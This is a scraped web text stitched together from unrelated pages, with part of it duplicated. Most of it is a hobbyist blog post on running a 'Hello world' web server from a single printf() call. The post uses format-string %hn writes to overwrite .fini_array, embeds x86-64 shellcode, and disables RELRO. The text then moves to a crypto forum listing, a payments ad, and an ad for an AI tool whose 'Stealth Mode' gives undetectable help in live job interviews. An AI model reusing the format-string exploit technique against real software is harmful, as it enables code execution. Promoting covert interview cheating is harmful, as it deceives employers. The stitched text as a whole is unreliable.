sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23565#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Crypto Forem Close # bitcoin Follow Hide Discussions specifically about Bitcoin protocol, economics, and culture. Create Post Older #bitcoin posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Building Infrastructure for Handling Millions of Bitcoin UTXOs at Scale 0xkniraj 0xkniraj 0xkniraj Follow Jan 5 Building Infrastructure for Handling Millions of Bitcoin UTXOs at Scale # bitcoin # infra # backend # custody Comments Add Comment 8 min read What is SpiritSwap? Fantom DEX Review 2025 Tami Stone Tami Stone Tami Stone Follow Dec 26 '25 What is SpiritSwap? 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Laurent Franceschetti Laurent Franceschetti Laurent Franceschetti Follow Dec 10 '25 Are Blockchains Behaving Like Beehives? # blockchain # bitcoin # cryptocurrency Comments Add Comment 2 min read Key Lessons From the Bitcoin Whitepaper Prince Isaac Israel Prince Isaac Israel Prince Isaac Israel Follow Nov 25 '25 Key Lessons From the Bitcoin Whitepaper # bitcoin # blockchain # security Comments Add Comment 3 min read Markus Vogt über das Ende eines alten Marktzyklus Professor Markus Vogt Professor Markus Vogt Professor Markus Vogt Follow Nov 25 '25 Markus Vogt über das Ende eines alten Marktzyklus # discuss # bitcoin # crypto Comments Add Comment 3 min read Introducing btc-tools.xyz: a Bitcoin RBF Online Tool: Speed Up BTC, Ordinals & Runes Transactions Neon Operator Neon Operator Neon Operator Follow Dec 25 '25 Introducing btc-tools.xyz: a Bitcoin RBF Online Tool: Speed Up BTC, Ordinals & Runes Transactions # showdev # bitcoin # rbf # ordinals Comments Add Comment 2 min read Fiat Omnia Sixto Mcready Sixto Mcready Sixto Mcready Follow Nov 23 '25 Fiat Omnia # philosophy # bitcoin # economics # fiat Comments Add Comment 8 min read Reading the Blockchain: Whale Behavior and BTC Market Signals Dan Keller Dan Keller Dan Keller Follow Nov 20 '25 Reading the Blockchain: Whale Behavior and BTC Market Signals # blockchain # webdev # web3 # bitcoin 6 reactions Comments Add Comment 3 min read Africa’s tokenization opportunity: Building markets before they mature. Victory Adugbo Victory Adugbo Victory Adugbo Follow Nov 12 '25 Africa’s tokenization opportunity: Building markets before they mature. # blockchain # web3 # bitcoin # beginners Comments Add Comment 4 min read The Fuck Up Ratio: A Measure of Unexpected Risk in Financial Assets and Its Application to Portfolio Allocation Ryo Suwito Ryo Suwito Ryo Suwito Follow Oct 19 '25 The Fuck Up Ratio: A Measure of Unexpected Risk in Financial Assets and Its Application to Portfolio Allocation # web3 # cryptocurrency # bitcoin 1 reaction Comments Add Comment 5 min read 70% Drop Overnight: How a Trader Stays Ahead Paul Bennett Paul Bennett Paul Bennett Follow Oct 16 '25 70% Drop Overnight: How a Trader Stays Ahead # blockchain # bitcoin # typescript 2 reactions Comments Add Comment 4 min read Market Stabilizes as Altcoins Lead the Rebound on October 13, 2025 Om Shree Om Shree Om Shree Follow Oct 13 '25 Market Stabilizes as Altcoins Lead the Rebound on October 13, 2025 # blockchain # crypto # bitcoin # community 9 reactions Comments Add Comment 3 min read Bankless: Bear or Bull Market? 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Are Blockchains Behaving Like Beehives? MSCI sur l’exclusion de MicroStrategy, mentalités des investisseurs divisent le marché des crypto... Building Infrastructure for Handling Millions of Bitcoin UTXOs at Scale Key Lessons From the Bitcoin Whitepaper What is SpiritSwap? Fantom DEX Review 2025 Ondo Teams Up With Wall Street Giants: Private Funds Enter the Era of “24/7 On-Chain Operations” Fiat Omnia 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Crypto Forem — A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . 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https://ruul.io?utm_medium=company_profile&utm_source=trustpilot&utm_campaign=logo_click | Ruul | Sell Services & Digital Products | Get Paid as a Freelancer Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up Merchant of Record for Independents INDEPENDENT’S PAY BUTTON Sell anything. Get paid anywhere. Great for freelancers, creators, and indie sellers. ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. 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Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Contra vs Upwork vs Fiverr Compare Contra, Upwork, and Fiverr for freelancers—fees, client quality, ease of use & payout speed in 2025. Read more Best Portfolio Platforms for Freelancers in 2025 Discover the best portfolio building platforms for solo talents and freelancers to showcase their work and impress potential clients. Explore WP.ruul.io's expert recommendations and find the perfect platform to create a stunning portfolio that stands out. Read more Payment Processing 101: What it is and How it Works? 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https://www.finalroundai.com/hirevue-interview-assistant | HireVue Interview Assistant - Crack Interviews with AI Get Started Loading... Hirevue Interview Assistant Pricing Ace your interview with the HireVue Interview Assistant Get instant AI feedback, clear talking points, and structured answer guidance to deliver confident responses in one-way video interviews. start your free trial today 10+ 100k+ reviews AS SEEN IN Trustpilot Unlock your interview potential The HireVue Interview Assistant is your personal, real-time interview coach. Unlike other AI tools, it provides customized feedback, helping you stay confident and ready for any question. Whether you're facing technical or behavioral challenges, it ensures you stay focused and perform your best. It's not just about practice—it's about acing the real interview and standing out. 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Key Differences Tailored feedback specific to your role and interview scenario. Real-time, adaptive guidance that evolves with each question. Continuous analysis that reacts to the nuances of live interviews. Instant adjustments to keep your responses on point. The AI-powered HireVue Interview Copilot offers a more dynamic, tailored experience, ensuring you're ready to handle any interview scenario with ease and confidence. Trustpilot Compatibility with Platforms The HireVue Interview Assistant works seamlessly with HireVue and other major one-way video interview platforms, such as: Answer better. get hired faster. Explore real interview questions asked at companies like Google, Amazon and OpenAI - Practice Smarter. get started free Frequently Asked questions What is the HireVue Interview Assistant? The HireVue Interview Assistant is a feature specifically designed to help you excel in one-way video interviews, such as those conducted on platforms like HireVue, Spark Hire, and more. It provides real-time AI-powered suggestions to help you craft thoughtful and effective responses, along with detailed feedback to ensure you're fully prepared and confident for your interview. Can I use the HireVue Interview Assistant for other platforms? Absolutely! The HireVue Interview Assistant is not limited to just HireVue. It is compatible with all major one-way video interview platforms, giving you the flexibility to use it regardless of the platform your potential employer uses. How does it provide feedback? After completing your one-way interview session, the HireVue Interview Assistant generates a comprehensive feedback report that analyzes your responses in detail. This report includes insights into the quality of your answers, tips for improvement, and actionable suggestions to help you enhance your performance for future interviews. What is Stealth Mode and how does it work? Stealth Mode is our advanced feature that provides discreet, real-time assistance during your live interview without being detected. It operates completely in the background, offering you AI-powered guidance and suggestions while maintaining complete invisibility to the interviewer and the interview platform. Will HireVue or other platforms detect the Interview Assistant? No. The HireVue Interview Assistant operates entirely on the edge, meaning it does not require direct access to the HireVue platform or its internal systems. This ensures a seamless, secure, and undetectable experience, allowing you to focus on showcasing your best self without any technical concerns. Does it work on mobile devices? Yes, it works flawlessly on both desktop and mobile devices, so you can get instant feedback wherever you are. Is the HireVue Interview Assistant suitable for all job roles? Yes. Our AI interview tool is versatile, supporting various job roles across multiple industries, from software engineering to consulting and finance. Your dream role is just one session away. Ready to Ace Your Next Interview? Transform your interview skills with Final Round AI's AI interview practice. Start now and land your dream job with confidence. You've done the prep—now it's time to practice smarter. Start Practicing – It's Free Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. However, securing employment within 30 days depends on various factors beyond our control, including market conditions, individual effort, and employer decisions. We do not guarantee job placement within any specific timeframe. © 2025 Final Round AI, 188 King St, Unit 402 San Francisco, CA, 94107 | 2026-01-13T08:47:54 |
https://tinyhack.com/2014/02/28/raspberry-pi-for-out-of-band-linux-pc-management/ | Raspberry Pi for Out of Band Linux PC management – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Raspberry Pi for Out of Band Linux PC management Just a day before I left to Indonesia for my brother’s wedding, I got worried about my headless Linux PC server: it may freeze when I left it. It happened before because of kernel panic and hardware error, it can happen again. I want to be able to reset the PC in case of errors and to power it down in case the error was not recoverable (for example last year my disk drive went bad). Just a note before reading this: in case you just want to turn on or off a PC using raspberry PI: just use wake on LAN (WOL) to turn on your PC and SSH access to turn it off. Wake on LAN works most of the time, but it can not handle a PC that is not responding. I soldered 2 optocouplers that I have (4N25) to a small perfboard with a pin header . Then I use solderless breadboard cables to connect the board to Raspberry Pi, and to the PC power and reset button (so I can manually turn on/off using the power/reset button on the PC). Watch carefully about the + 